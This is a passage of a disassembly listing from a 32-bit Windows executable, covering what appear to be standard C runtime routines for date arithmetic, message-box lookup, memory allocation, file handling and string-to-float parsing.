[ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41E597 shl esi, 2 mov eax, dword_4387F0[esi] jmp short loc_41E5A0 ; --------------------------------------------------------------------------- loc_41E597: ; CODE XREF: sub_41E56C+1Ej shl esi, 2 mov eax, dword_438824[esi] loc_41E5A0: ; CODE XREF: sub_41E56C+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_41E5DA imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_41E5E4 ; --------------------------------------------------------------------------- loc_41E5DA: ; CODE XREF: sub_41E56C+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_41E5E4: ; CODE XREF: sub_41E56C+6Cj cmp [ebp+arg_10], 5 jnz short loc_41E622 cmp [ebp+arg_8], 0 jnz short loc_41E5F8 mov esi, dword_4387F4[esi] jmp short loc_41E5FE ; --------------------------------------------------------------------------- loc_41E5F8: ; CODE XREF: sub_41E56C+82j mov esi, dword_438828[esi] loc_41E5FE: ; CODE XREF: sub_41E56C+8Aj cmp ecx, esi jle short loc_41E622 sub ecx, 7 jmp short loc_41E622 ; --------------------------------------------------------------------------- loc_41E607: ; CODE XREF: sub_41E56C+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_41E618 mov ecx, dword_4387F0[eax*4] jmp short loc_41E61F ; --------------------------------------------------------------------------- loc_41E618: ; CODE XREF: sub_41E56C+A1j mov ecx, dword_438824[eax*4] loc_41E61F: ; CODE XREF: sub_41E56C+AAj add ecx, [ebp+arg_18] loc_41E622: ; CODE XREF: sub_41E56C+7Cj ; sub_41E56C+94j ... cmp [ebp+arg_0], 1 jnz short loc_41E653 mov eax, [ebp+arg_1C] mov dword_4387DC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_4387D8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4387E0, eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E653: ; CODE XREF: sub_41E56C+BAj mov eax, [ebp+arg_1C] mov dword_4387EC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_438748 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4387F0, eax jns short loc_41E68B add eax, 5265C00h dec ecx mov dword_4387F0, eax jmp short loc_41E69C ; --------------------------------------------------------------------------- loc_41E68B: ; CODE XREF: sub_41E56C+110j mov edx, 5265C00h cmp eax, edx jl short loc_41E6A2 sub eax, edx inc ecx mov dword_4387F0, eax loc_41E69C: ; CODE XREF: sub_41E56C+11Dj mov dword_4387EC, ecx loc_41E6A2: ; CODE XREF: sub_41E56C+126j mov dword_4387E8, ebx loc_41E6A8: ; CODE XREF: sub_41E56C+E5j pop esi pop ebx pop ebp retn sub_41E56C endp ; =============== S U B R O U T I N E ======================================= sub_41E6AC proc near ; CODE XREF: sub_41C7C2+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41E6BD add esp, 0Ch retn sub_41E6AC endp ; =============== S U B R O U T I N E ======================================= sub_41E6BD proc near ; CODE XREF: sub_41E6AC+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_46AA01[eax], cl jnz short loc_41E6EA cmp [esp+arg_4], 0 jz short loc_41E6E3 movzx eax, word_437D9A[eax*2] and eax, [esp+arg_4] jmp short loc_41E6E5 ; --------------------------------------------------------------------------- loc_41E6E3: ; CODE XREF: sub_41E6BD+16j xor eax, eax loc_41E6E5: ; CODE XREF: sub_41E6BD+24j test eax, eax jnz short loc_41E6EA retn ; --------------------------------------------------------------------------- loc_41E6EA: ; CODE XREF: sub_41E6BD+Fj ; sub_41E6BD+2Aj push 1 pop eax retn sub_41E6BD endp ; =============== S U B R O U T I N E ======================================= sub_41E6EE proc near ; CODE XREF: sub_41CF19+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_469774, ebx push esi push edi jnz short loc_41E73D push offset aUser32_dll ; "user32.dll" call dword_4210C0 mov edi, eax cmp edi, ebx jz short loc_41E773 mov esi, dword_4210C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_469774, eax jz short loc_41E773 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_469778, eax call esi mov dword_46977C, eax loc_41E73D: ; CODE XREF: sub_41E6EE+Bj mov eax, dword_469778 test eax, eax jz short loc_41E75C call eax mov ebx, eax test ebx, ebx jz short loc_41E75C mov eax, dword_46977C test eax, eax jz short loc_41E75C push ebx call eax mov ebx, eax loc_41E75C: ; CODE XREF: sub_41E6EE+56j ; sub_41E6EE+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_469774 loc_41E76F: ; CODE XREF: sub_41E6EE+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E773: ; CODE XREF: sub_41E6EE+1Cj ; sub_41E6EE+33j xor eax, eax jmp short loc_41E76F sub_41E6EE endp ; =============== S U B R O U T I N E ======================================= sub_41E777 proc near ; CODE XREF: sub_41D0D6+22p ; sub_41D0D6+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_41E797 test esi, esi jnz short loc_41E791 push 1 pop esi loc_41E791: ; CODE XREF: sub_41E777+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_41E797: ; CODE XREF: sub_41E777+11j ; sub_41E777+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41E7C8 cmp ebx, dword_437FAC ja short loc_41E7B3 push ebx call sub_418E53 mov edi, eax pop ecx test edi, edi jnz short loc_41E7DE loc_41E7B3: ; CODE XREF: sub_41E777+2Dj push esi push 8 push dword_46AB20 call dword_42114C mov edi, eax test edi, edi jnz short loc_41E7EA loc_41E7C8: ; CODE XREF: sub_41E777+25j cmp dword_469514, 0 jz short loc_41E7EA push esi call sub_418A68 test eax, eax pop ecx jz short loc_41E7F0 jmp short loc_41E797 ; --------------------------------------------------------------------------- loc_41E7DE: ; CODE XREF: sub_41E777+3Aj push ebx push 0 push edi call sub_415570 add esp, 0Ch loc_41E7EA: ; CODE XREF: sub_41E777+4Fj ; sub_41E777+58j mov eax, edi loc_41E7EC: ; CODE XREF: sub_41E777+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E7F0: ; CODE XREF: sub_41E777+63j xor eax, eax jmp short loc_41E7EC sub_41E777 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D17B loc_41E7F4: ; CODE XREF: sub_41D17B+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_46A7C0, esi jle short loc_41E847 loc_41E803: ; CODE XREF: sub_41D17B+16CAj mov eax, dword_4697A0 mov eax, [eax+esi*4] test eax, eax jz short loc_41E83E test byte ptr [eax+0Ch], 83h jz short loc_41E822 push eax call sub_415B40 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E822 inc edi loc_41E822: ; CODE XREF: sub_41D17B+1698j ; sub_41D17B+16A4j cmp esi, 14h jl short loc_41E83E mov eax, dword_4697A0 push dword ptr [eax+esi*4] call sub_415E3D mov eax, dword_4697A0 pop ecx and dword ptr [eax+esi*4], 0 loc_41E83E: ; CODE XREF: sub_41D17B+1692j ; sub_41D17B+16AAj inc esi cmp esi, dword_46A7C0 jl short loc_41E803 loc_41E847: ; CODE XREF: sub_41D17B+1686j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41D17B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E84C proc near ; CODE XREF: sub_41D55A+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_415D70 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_46A8E0 jnb loc_41E981 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_46A7E0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_41E981 push 1 push esi push ebx call sub_41BB7F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_41E98B push 2 push esi push ebx call sub_41BB7F add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41E98B push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_41E92E push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_415570 push 8000h push ebx call sub_41F486 add esp, 14h mov [ebp+arg_4], eax loc_41E8E2: ; CODE XREF: sub_41E84C+BDj mov eax, 1000h cmp edi, eax jge short loc_41E8ED mov eax, edi loc_41E8ED: ; CODE XREF: sub_41E84C+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41C42A add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41E90B sub edi, eax test edi, edi jle short loc_41E921 jmp short loc_41E8E2 ; --------------------------------------------------------------------------- loc_41E90B: ; CODE XREF: sub_41E84C+B5j cmp dword_4694B8, 5 jnz short loc_41E91E mov dword_4694B4, 0Dh loc_41E91E: ; CODE XREF: sub_41E84C+C6j or esi, 0FFFFFFFFh loc_41E921: ; CODE XREF: sub_41E84C+BBj push [ebp+arg_4] push ebx call sub_41F486 pop ecx pop ecx jmp short loc_41E96E ; --------------------------------------------------------------------------- loc_41E92E: ; CODE XREF: sub_41E84C+71j jge short loc_41E96E push 0 push [ebp+arg_4] push ebx call sub_41BB7F push ebx call sub_41D4C6 add esp, 10h push eax call dword_421010 mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_41E96E mov dword_4694B4, 0Dh call dword_421088 mov dword_4694B8, eax loc_41E96E: ; CODE XREF: sub_41E84C+E0j ; sub_41E84C:loc_41E92Ej ... push 0 push [ebp+arg_0] push ebx call sub_41BB7F add esp, 0Ch mov eax, esi pop edi jmp short loc_41E98E ; --------------------------------------------------------------------------- loc_41E981: ; CODE XREF: sub_41E84C+1Aj ; sub_41E84C+36j mov dword_4694B4, 9 loc_41E98B: ; CODE XREF: sub_41E84C+4Ej ; sub_41E84C+63j or eax, 0FFFFFFFFh loc_41E98E: ; CODE XREF: sub_41E84C+133j pop esi pop ebx leave retn sub_41E84C endp ; =============== S U B R O U T I N E ======================================= sub_41E992 proc near ; CODE XREF: sub_41D9C5+2Bp ; sub_41D9C5+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_41E9A8 cmp ecx, esi jnb short loc_41E9AB loc_41E9A8: ; CODE XREF: sub_41E992+10j push 1 pop eax loc_41E9AB: ; CODE XREF: sub_41E992+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41E992 endp ; =============== S U B R O U T I N E ======================================= sub_41E9B3 proc near ; CODE XREF: sub_41EA6C+40p ; sub_41EA6C+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41E992 add esp, 0Ch test eax, eax jz short loc_41E9E5 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41E992 add esp, 0Ch test eax, eax jz short loc_41E9E5 inc dword ptr [esi+8] loc_41E9E5: ; CODE XREF: sub_41E9B3+19j ; sub_41E9B3+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41E992 add esp, 0Ch test eax, eax jz short loc_41E9FD inc dword ptr [esi+8] loc_41E9FD: ; CODE XREF: sub_41E9B3+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41E992 add esp, 0Ch pop edi pop esi retn sub_41E9B3 endp ; =============== S U B R O U T I N E ======================================= sub_41EA11 proc near ; CODE XREF: sub_41EA6C+30p ; sub_41EA6C+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_41EA11 endp ; =============== S U B R O U T I N E ======================================= sub_41EA3F proc near ; CODE XREF: sub_41F004+1C8p ; sub_41F4FC+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41EA3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA6C proc near ; CODE XREF: sub_41EB33+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41EAE0 push edi mov [ebp+arg_8], eax loc_41EA93: ; CODE XREF: sub_41EA6C+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_41EA11 push ebx call sub_41EA11 lea eax, [ebp+var_10] push eax push ebx call sub_41E9B3 push ebx call sub_41EA11 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_41E9B3 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41EA93 xor edx, edx pop edi loc_41EAE0: ; CODE XREF: sub_41EA6C+21j ; sub_41EA6C+9Fj cmp [ebx+8], edx jnz short loc_41EB0D mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41EAE0 ; --------------------------------------------------------------------------- loc_41EB0D: ; CODE XREF: sub_41EA6C+77j mov esi, 8000h loc_41EB12: ; CODE XREF: sub_41EA6C+B9j test [ebx+8], esi jnz short loc_41EB27 push ebx call sub_41EA11 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_41EB12 ; --------------------------------------------------------------------------- loc_41EB27: ; CODE XREF: sub_41EA6C+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_41EA6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB33 proc near ; CODE XREF: sub_41DD0E+17p ; sub_41DD3B+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41EB6E: ; CODE XREF: sub_41EB33+52j mov cl, [edi] cmp cl, 20h jz short loc_41EB84 cmp cl, 9 jz short loc_41EB84 cmp cl, 0Ah jz short loc_41EB84 cmp cl, 0Dh jnz short loc_41EB87 loc_41EB84: ; CODE XREF: sub_41EB33+40j ; sub_41EB33+45j ... inc edi jmp short loc_41EB6E ; --------------------------------------------------------------------------- loc_41EB87: ; CODE XREF: sub_41EB33+4Fj push 4 pop esi loc_41EB8A: ; CODE XREF: sub_41EB33+AEj ; sub_41EB33+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41EE0D ; default ; jumptable 0041EB96 case 10 jmp off_41EFD4[eax*4] ; switch jump loc_41EB9D: ; DATA XREF: .nsp0:off_41EFD4o cmp bl, 31h ; jumptable 0041EB96 case 0 jl short loc_41EBAE cmp bl, 39h jg short loc_41EBAE loc_41EBA7: ; CODE XREF: sub_41EB33+C4j ; sub_41EB33+118j push 3 jmp loc_41EDCB ; --------------------------------------------------------------------------- loc_41EBAE: ; CODE XREF: sub_41EB33+6Dj ; sub_41EB33+72j cmp bl, byte_437FA0 jnz short loc_41EBBD loc_41EBB6: ; CODE XREF: sub_41EB33+124j push 5 jmp loc_41EE03 ; --------------------------------------------------------------------------- loc_41EBBD: ; CODE XREF: sub_41EB33+81j movsx eax, bl sub eax, 2Bh jz short loc_41EBE3 dec eax dec eax jz short loc_41EBD7 sub eax, 3 jnz loc_41EEA6 jmp loc_41EC66 ; --------------------------------------------------------------------------- loc_41EBD7: ; CODE XREF: sub_41EB33+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41EB8A ; --------------------------------------------------------------------------- loc_41EBE3: ; CODE XREF: sub_41EB33+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41EB8A ; --------------------------------------------------------------------------- loc_41EBEC: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp bl, 31h ; jumptable 0041EB96 case 1 mov [ebp+var_10], edx jl short loc_41EBF9 cmp bl, 39h jle short loc_41EBA7 loc_41EBF9: ; CODE XREF: sub_41EB33+BFj cmp bl, byte_437FA0 jz loc_41ECC1 cmp bl, 2Bh jz short loc_41EC3B cmp bl, 2Dh jz short loc_41EC3B cmp bl, 30h jz short loc_41EC66 loc_41EC14: ; CODE XREF: sub_41EB33+207j cmp bl, 43h jle loc_41EEA6 cmp bl, 45h jle short loc_41EC34 cmp bl, 63h jle loc_41EEA6 cmp bl, 65h jg loc_41EEA6 loc_41EC34: ; CODE XREF: sub_41EB33+EDj push 6 jmp loc_41EE03 ; --------------------------------------------------------------------------- loc_41EC3B: ; CODE XREF: sub_41EB33+D5j ; sub_41EB33+DAj ... dec edi push 0Bh jmp loc_41EE03 ; --------------------------------------------------------------------------- loc_41EC43: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp bl, 31h ; jumptable 0041EB96 case 2 jl short loc_41EC51 cmp bl, 39h jle loc_41EBA7 loc_41EC51: ; CODE XREF: sub_41EB33+113j cmp bl, byte_437FA0 jz loc_41EBB6 cmp bl, 30h jnz loc_41EE1B loc_41EC66: ; CODE XREF: sub_41EB33+9Fj ; sub_41EB33+DFj mov eax, edx jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EC6D: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o mov [ebp+var_10], edx ; jumptable 0041EB96 case 3 loc_41EC70: ; CODE XREF: sub_41EB33+184j cmp dword_437F9C, edx jle short loc_41EC89 movzx eax, bl push esi push eax call sub_418556 pop ecx pop ecx push 1 pop edx jmp short loc_41EC97 ; --------------------------------------------------------------------------- loc_41EC89: ; CODE XREF: sub_41EB33+143j mov ecx, off_437D90 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41EC97: ; CODE XREF: sub_41EB33+154j test eax, eax jz short loc_41ECB9 cmp [ebp+var_4], 19h jnb short loc_41ECB1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_41ECB4 ; --------------------------------------------------------------------------- loc_41ECB1: ; CODE XREF: sub_41EB33+16Cj inc [ebp+var_8] loc_41ECB4: ; CODE XREF: sub_41EB33+17Cj mov bl, [edi] inc edi jmp short loc_41EC70 ; --------------------------------------------------------------------------- loc_41ECB9: ; CODE XREF: sub_41EB33+166j cmp bl, byte_437FA0 jnz short loc_41ED28 loc_41ECC1: ; CODE XREF: sub_41EB33+CCj mov eax, esi jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41ECC8: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp [ebp+var_4], 0 ; jumptable 0041EB96 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_41ECE1 loc_41ECD4: ; CODE XREF: sub_41EB33+1ACj cmp bl, 30h jnz short loc_41ECE1 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_41ECD4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EB33+19Fj ; sub_41EB33+1A4j ... cmp dword_437F9C, edx jle short loc_41ECFA movzx eax, bl push esi push eax call sub_418556 pop ecx pop ecx push 1 pop edx jmp short loc_41ED08 ; --------------------------------------------------------------------------- loc_41ECFA: ; CODE XREF: sub_41EB33+1B4j mov ecx, off_437D90 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41ED08: ; CODE XREF: sub_41EB33+1C5j test eax, eax jz short loc_41ED28 cmp [ebp+var_4], 19h jnb short loc_41ED23 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_41ED23: ; CODE XREF: sub_41EB33+1DDj mov bl, [edi] inc edi jmp short loc_41ECE1 ; --------------------------------------------------------------------------- loc_41ED28: ; CODE XREF: sub_41EB33+18Cj ; sub_41EB33+1D7j cmp bl, 2Bh jz loc_41EC3B cmp bl, 2Dh jz loc_41EC3B jmp loc_41EC14 ; --------------------------------------------------------------------------- loc_41ED3F: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp dword_437F9C, edx ; jumptable 0041EB96 case 5 mov [ebp+var_24], edx jle short loc_41ED5B movzx eax, bl push esi push eax call sub_418556 pop ecx pop ecx push 1 pop edx jmp short loc_41ED69 ; --------------------------------------------------------------------------- loc_41ED5B: ; CODE XREF: sub_41EB33+215j mov ecx, off_437D90 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41ED69: ; CODE XREF: sub_41EB33+226j test eax, eax jz loc_41EE1B mov eax, esi jmp short loc_41EDCC ; --------------------------------------------------------------------------- loc_41ED75: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o lea ecx, [edi-2] ; jumptable 0041EB96 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_41ED85 cmp bl, 39h jle short loc_41EDC9 loc_41ED85: ; CODE XREF: sub_41EB33+24Bj movsx eax, bl sub eax, 2Bh jz short loc_41EE01 dec eax dec eax jz short loc_41EDF5 sub eax, 3 jnz loc_41EEA9 loc_41ED9A: ; CODE XREF: sub_41EB33+2A4j push 8 jmp short loc_41EE03 ; --------------------------------------------------------------------------- loc_41ED9E: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o mov [ebp+var_20], edx ; jumptable 0041EB96 case 8 loc_41EDA1: ; CODE XREF: sub_41EB33+276j cmp bl, 30h jnz short loc_41EDAB mov bl, [edi] inc edi jmp short loc_41EDA1 ; --------------------------------------------------------------------------- loc_41EDAB: ; CODE XREF: sub_41EB33+271j cmp bl, 31h jl loc_41EEA6 cmp bl, 39h jg loc_41EEA6 jmp short loc_41EDC9 ; --------------------------------------------------------------------------- loc_41EDBF: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp bl, 31h ; jumptable 0041EB96 case 7 jl short loc_41EDD2 cmp bl, 39h jg short loc_41EDD2 loc_41EDC9: ; CODE XREF: sub_41EB33+250j ; sub_41EB33+28Aj push 9 loc_41EDCB: ; CODE XREF: sub_41EB33+76j pop eax loc_41EDCC: ; CODE XREF: sub_41EB33+240j dec edi jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EDD2: ; CODE XREF: sub_41EB33+28Fj ; sub_41EB33+294j cmp bl, 30h jnz short loc_41EE1B jmp short loc_41ED9A ; --------------------------------------------------------------------------- loc_41EDD9: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o cmp [ebp+arg_18], 0 ; jumptable 0041EB96 case 11 jz short loc_41EE09 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_41EE01 dec eax dec eax jnz loc_41EEA9 loc_41EDF5: ; CODE XREF: sub_41EB33+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EE01: ; CODE XREF: sub_41EB33+258j ; sub_41EB33+2B8j push 7 loc_41EE03: ; CODE XREF: sub_41EB33+85j ; sub_41EB33+103j ... pop eax jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EE09: ; CODE XREF: sub_41EB33+2AAj push 0Ah dec edi pop eax loc_41EE0D: ; CODE XREF: sub_41EB33+5Dj ; sub_41EB33+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041EB96 case 10 jz loc_41EEAB jmp loc_41EB8A ; --------------------------------------------------------------------------- loc_41EE1B: ; CODE XREF: sub_41EB33+12Dj ; sub_41EB33+238j ... mov edi, [ebp+arg_8] jmp loc_41EEAB ; --------------------------------------------------------------------------- loc_41EE23: ; CODE XREF: sub_41EB33+63j ; DATA XREF: .nsp0:off_41EFD4o mov [ebp+var_20], 1 ; jumptable 0041EB96 case 9 xor esi, esi loc_41EE2C: ; CODE XREF: sub_41EB33+339j cmp dword_437F9C, 1 jle short loc_41EE44 movzx eax, bl push 4 push eax call sub_418556 pop ecx pop ecx jmp short loc_41EE53 ; --------------------------------------------------------------------------- loc_41EE44: ; CODE XREF: sub_41EB33+300j mov ecx, off_437D90 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41EE53: ; CODE XREF: sub_41EB33+30Fj test eax, eax jz short loc_41EE73 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41EE6E mov bl, [edi] inc edi jmp short loc_41EE2C ; --------------------------------------------------------------------------- loc_41EE6E: ; CODE XREF: sub_41EB33+334j mov esi, 1451h loc_41EE73: ; CODE XREF: sub_41EB33+322j mov [ebp+var_1C], esi loc_41EE76: ; CODE XREF: sub_41EB33+371j cmp dword_437F9C, 1 jle short loc_41EE8E movzx eax, bl push 4 push eax call sub_418556 pop ecx pop ecx jmp short loc_41EE9D ; --------------------------------------------------------------------------- loc_41EE8E: ; CODE XREF: sub_41EB33+34Aj mov ecx, off_437D90 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41EE9D: ; CODE XREF: sub_41EB33+359j test eax, eax jz short loc_41EEA6 mov bl, [edi] inc edi jmp short loc_41EE76 ; --------------------------------------------------------------------------- loc_41EEA6: ; CODE XREF: sub_41EB33+99j ; sub_41EB33+E4j ... dec edi jmp short loc_41EEAB ; --------------------------------------------------------------------------- loc_41EEA9: ; CODE XREF: sub_41EB33+261j ; sub_41EB33+2BCj mov edi, ecx loc_41EEAB: ; CODE XREF: sub_41EB33+2DDj ; sub_41EB33+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_41EF93 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41EED7 cmp [ebp+var_45], 5 jl short loc_41EECB inc [ebp+var_45] loc_41EECB: ; CODE XREF: sub_41EB33+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41EEDA ; --------------------------------------------------------------------------- loc_41EED7: ; CODE XREF: sub_41EB33+38Dj mov eax, [ebp+var_C] loc_41EEDA: ; CODE XREF: sub_41EB33+3A2j cmp [ebp+var_4], 0 jbe loc_41EF89 loc_41EEE4: ; CODE XREF: sub_41EB33+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_41EEF2 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_41EEE4 ; --------------------------------------------------------------------------- loc_41EEF2: ; CODE XREF: sub_41EB33+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_41EA6C mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_41EF11 neg eax loc_41EF11: ; CODE XREF: sub_41EB33+3DAj add eax, 